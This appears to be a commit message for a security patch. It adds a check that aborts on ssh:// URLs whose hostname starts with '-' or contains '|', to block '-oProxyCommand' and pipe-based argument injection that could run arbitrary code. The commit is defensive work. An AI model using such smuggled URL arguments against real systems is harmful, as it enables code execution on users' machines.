util: add utility method to check for bad ssh urls (SEC)
Our use of SSH has an exploit that will parse the first part of an url
blindly as a hostname. Prior to this set of security patches, a url
with '-oProxyCommand' could run arbitrary code on a user's machine. In
addition, at least on Windows, a pipe '|' can be abused to execute
arbitrary commands in a similar fashion.
We defend against this by checking ssh:// URLs and looking for a
hostname that starts with a - or contains a |.
When this happens, let's throw a big abort into the user's face so
that they can inspect what's going on.
